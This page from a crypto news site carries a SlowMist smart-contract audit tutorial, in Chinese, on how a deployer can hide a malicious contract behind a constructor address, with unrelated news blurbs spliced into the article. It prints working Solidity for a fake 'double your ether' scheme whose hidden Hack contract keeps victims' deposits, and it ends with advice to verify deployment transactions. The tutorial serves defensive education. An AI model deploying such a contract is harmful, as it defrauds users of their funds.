買比特幣 買比特幣
Ctrl+D 買比特幣
ads

NBS:智能合約安全審計入門篇 —— 移花接木_BSP

Author:

Time:1900/1/1 0:00:00

概述

上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。

前置知識

大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:

用戶以為的調用路徑:

部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。

實際的調用路徑:

部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。

下面我們使用一個簡單的例子來分析這個騙局:

惡意代碼

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}騙局分析

Arbitrum鏈上智能合約創建總量突破100萬:金色財經報道,據 Dune Analytics 11 月 24 日數據顯示,以太坊 Layer2 網絡 Arbitrum 鏈上智能合約創建總量突破 100 萬,截至目前為 1,000,830 個。其他指標方面,當前 Arbitrum鏈上總鎖倉量跌至 22.46 億美元,鏈上賬戶創建總量為 196.8 萬個,交易總量達到 6660.4 萬筆,活躍賬戶數約為 155 萬個。[2022/11/24 8:02:47]

可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:

MoneyMaker 合約代表 A 合約;

Vault 合約代表 B 合約;

Hack 合約代表 C 合約。

所以用戶以為的調用路徑為:

MoneyMaker -> Vault。

而實際的調用路徑為:

MoneyMaker -> Hack。

下面我們來看看攻擊者如何完成騙局的:

1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;

2. Evil 部署 Hack(C) 惡意合約;

3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;

DFINITY創始人兼首席科學家:相信十年后會看到在互聯網計算機上部署超過10億個開放式應用及智能合約:10月26日消息,DFINITY創始人兼首席科學家Dominic Williams演講表示,互聯網計算機是基于ICP(互聯網計算機協議)的,ICP協議使用了非常新的加密算法,所以能夠使得互聯網計算機實現世界計算機的功能。通過互聯網計算機區塊鏈,可以存儲所有軟件,包括分布式應用、DeFi、Web3游戲等等。在互聯網計算機中,在許多方面都是去中心化的。首先,它的容器Canister上所有的去中心化應用、智能合約都是去中心化的。另外是沒有主網,只有子網的區塊鏈。相信十年后會看到在互聯網計算機上部署超過10億個開放式應用及智能合約,同時也相信未來十年在互聯網計算機上會出現呈百萬的節點計算機。[2021/10/26 20:57:11]

4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;

5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。

咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。

帥初:Qtum實現與EVM兼容的去中心化PoS智能合約平臺:量子鏈創始人帥初發推稱,Qtum已經完成ETH2.0想要構建的工作中的95%。一個非常去中心化的PoS智能合約平臺(與EVM兼容)。[2021/1/24 13:20:22]

預防建議

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。

慢霧科技

個人專欄

閱讀更多

金色薦讀

金色財經 善歐巴

迪新財訊

Chainlink預言機

區塊律動BlockBeats

白話區塊鏈

金色早8點

Odaily星球日報

MarsBit

Arcane Labs

網友爆料:BCH可以做出強制鎖倉的智能合約功能:微博網友“BCH愛好者BruceLee”剛剛發文表示:剛看到BCH可以做出強制鎖倉的智能合約功能,原理是這樣的。把你的BCH發送到一個特定的智能合約地址中,只有當BCH的USD報價到達預設數值的時候,你才可以把幣從合約里面取出來。之前已經有開發者寫出了合約的范本,不過那時候還沒有可用的Oracle提供BCH報價。但是現在隨著anyhedge的逐漸普及,anyhedge團隊提供的Oracle服務可能會被廣泛采用,以后可能會有錢包集成這個小功能,畢竟確實有人需要。這種依靠智能合約強制鎖倉的辦法是最安全的,只需要你保存好私鑰,幣就不會丟,還能防止自己手賤在中途賣出。[2021/1/14 16:10:50]

聲音 | AVA Labs CEO:智能合約和資產通證化提供了保證和可審計性:AVA Labs首席執行官兼創始人Emin Gün Sirer最近評論稱,現實世界資產的通證化(tokenization)和智能合約是兩個有用的想法。他表示,區塊鏈和數字資產的發明是一個改變游戲規則的事件,并補充說,智能合約和私人通證化資產促進了“安心、保證和可審計性”。(AMBCrypto)[2020/1/19]

Tags:BSPNBSQUOMAKEBSPNetworknbs幣最新消息QUON價格Moon Maker Protocol

以太坊價格
加密貨幣:香港將為散戶開放加密交易 比特幣反彈乏力或難持續_加密貨幣有哪幾種形態

在香港證券監管機構宣布預計散戶投資者從6月1日開始可以交易BTC、ETH等主流加密貨幣后,加密市場反應積極.

1900/1/1 0:00:00
DEF:Outlier Ventures推出的DeFi Base Camp加速器最新一期入選項目速覽_FireFi

金色財經0xxz 2023年5月22日,由Outlier Ventures聯合NewOrderDAO推出的DeFi Base Camp加速器公布最新一期8個入選項目.

1900/1/1 0:00:00
比特幣:金色早報 | Coinbase:Base主網即將推出 時間未定_在coinbase無法提幣

▌Coinbase:Base主網即將推出,但時間未定Coinbase表示,Layer 2 Base仍在朝著其“創世紀窗口”建設,主網即將推出.

1900/1/1 0:00:00
AZU:以Azuki為例 揭開NFT保持逆勢增長的秘密_NFT

 來源:NFTScan 瀏覽器從 NFTScan 的數據看,主流藍籌NFT項目近期價格均出現較大幅度下跌,在一定程度上反映市場信心出現減弱,作為 NFT 市場的領頭項目.

1900/1/1 0:00:00
NFT:BRC-20 致比特幣網絡更貴更堵 RGB 和閃電網絡迎來第二春_BRC

作者:西柚,ChainCatcher近日,由于ordi代幣的財富效應,吸引了一大批用戶涌入比特幣網絡交易BRC-20代幣,導致比特幣鏈上擁堵嚴重、Gas費激增.

1900/1/1 0:00:00
比特幣:操作指南:24個比特幣生態項目和工具全盤點_NBS

自 Ordinals 協議將 BTC NFT 帶火之后,BRC-20 又成為了用戶、CEX 爭搶布局的新賽道。這些新協議的出現讓一向「古板」的比特幣鏈又重新煥發生機.

1900/1/1 0:00:00
ads